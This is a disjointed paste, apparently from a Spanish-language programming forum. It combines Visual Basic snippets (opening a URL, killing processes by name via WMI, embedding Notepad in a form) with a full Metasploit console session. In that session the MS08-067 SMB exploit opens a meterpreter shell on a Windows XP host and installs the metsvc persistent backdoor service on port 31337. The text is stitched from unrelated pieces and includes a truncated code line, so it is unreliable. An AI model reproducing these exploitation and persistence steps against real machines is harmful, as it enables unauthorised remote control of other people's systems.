Option Explicit
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Const SW_NORMAL = 1

Dim X
X = ShellExecute(Me.hwnd, "Open", "http://www.url.com", &O0, &O0, SW_NORMAL)

Public Sub KillProcess(ByVal processName As String)
On Error GoTo ErrHandler
Dim oWMI
Dim ret
Dim sService
Dim oWMIServices
Dim oWMIService
Dim oServices
Dim oService
Dim servicename
Set oWMI = GetObject("winmgmts:")
Set oServices = oWMI.InstancesOf("win32_process")
For Each oService In oServices

servicename = LCase(Trim(CStr(oService.Name) & ""))

If InStr(1, servicename, LCase(processName), vbTextCompare) > 0 Then
ret = oService.Terminate
End If

Next

Set oServices = Nothing
Set oWMI = Nothing

ErrHandler:
Err.Clear
End Sub

Código:

Declare Function KILL_PROC_BY_NAME Lib "killproc" (ByVal FileName As String) As Long

Luego en alguna parte de tu programa, si queres, por ejemplo, terminar todos los internet explorers pode hacer:
Código:

KILL_PROC_BY_NAME "iexplore.exe"

o si queres ver si ocurrió algún error:
Código:

nError = KILL_PROC_BY_NAME("winrar.exe")
 
If n

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As Long, ByVal lpWindowName As Long) As Long
Private Declare Function GetParent Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function SetParent Lib "user32" (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Declare Function LockWindowUpdate Lib "user32" (ByVal hwndLock As Long) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function DestroyWindow Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function Putfocus Lib "user32" Alias "SetFocus" (ByVal hwnd As Long) As Long
Const GW_HWNDNEXT = 2
Dim mWnd As Long
Function InstanceToWnd(ByVal target_pid As Long) As Long
    Dim test_hwnd As Long, test_pid As Long, test_thread_id As Long
    'Find the first window
    test_hwnd = FindWindow(ByVal 0&, ByVal 0&)
    Do While test_hwnd <> 0
        'Check if the window isn't a child
        If GetParent(test_hwnd) = 0 Then
            'Get the window's thread
            test_thread_id = GetWindowThreadProcessId(test_hwnd, test_pid)
            If test_pid = target_pid Then
                InstanceToWnd = test_hwnd
                Exit Do
            End If
        End If
        'retrieve the next window
        test_hwnd = GetWindow(test_hwnd, GW_HWNDNEXT)
    Loop
End Function
Private Sub Form_Load()
    'KPD-Team 1999
    'URL: [url=http://www.allapi.net/]http://www.allapi.net/[/url]
    'E-Mail: [email protected]
    Dim Pid As Long
    'Lock the window update
    LockWindowUpdate GetDesktopWindow
    'Execute notepad.Exe
    Pid = Shell("c:\windows\notepad.exe", vbNormalFocus)
    If Pid = 0 Then MsgBox "Error starting the app"
    'retrieve the handle of the window
    mWnd = InstanceToWnd(Pid)
    'Set the notepad's parent
    SetParent mWnd, Me.hwnd
    'Put the focus on notepad
    Putfocus mWnd
    'Unlock windowupdate
    LockWindowUpdate False
End Sub
Private Sub Form_Unload(Cancel As Integer)
    'Unload notepad
    DestroyWindow mWnd
    'End this program
    TerminateProcess GetCurrentProcess, 0
End Sub 

=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 489 exploits - 225 auxiliary
+ -- --=[ 192 payloads - 23 encoders - 8 nops
=[ svn r8074 updated today (2010.01.05)

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 172.16.83.128
RHOST => 172.16.83.128
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > set LHOST 172.16.83.1
LHOST => 172.16.83.1
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler[*] Automatically detecting the target...[*] Fingerprint: Windows XP Service Pack 3
- lang:English[*] Selected Target: Windows XP SP3 English (NX)[*]
Triggering the vulnerability...[*] Sending stage (723456 bytes)[*]
Meterpreter session 3 opened (172.16.83.1:54745 ->
172.16.83.128:4444)

meterpreter >

meterpreter > run metsvc[*] Creating a meterpreter service on port
31337[*] Creating a temporary installation directory
C:\WINDOWS\TEMP\HdOFwlxzpobWuh...[*] >> Uploading metsrv.dll...[*]
>> Uploading metsvc-server.exe...[*] >> Uploading
metsvc.exe...[*] Starting the service...
* Installing service metsvc
* Starting service
Service metsvc successfully installed.

meterpreter > reboot
Rebooting...
meterpreter >

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD => windows/metsvc_bind_tcp
msf exploit(handler) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------


Payload options (windows/metsvc_bind_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process
LPORT 4444 yes The local port
RHOST no The target address


Exploit target:

Id Name
-- ----
0 Wildcard Target


msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > set RHOST 172.16.83.128
RHOST => 172.16.83.128
msf exploit(handler) > exploit

[*] Starting the payload handler...[*] Started bind handler[*]
Meterpreter session 1 opened (172.16.83.1:42050 ->
172.16.83.128:31337)

meterpreter >

meterpreter > run metsvc -r[*] Removing the existing Meterpreter
service[*] Creating a temporary installation directory
C:\WINDOWS\TEMP\QQqawIYOjLq...[*] >> Uploading metsvc.exe...[*]
Stopping the service...
* Stopping service metsvc
* Removing service
Service metsvc successfully removed.

meterpreter >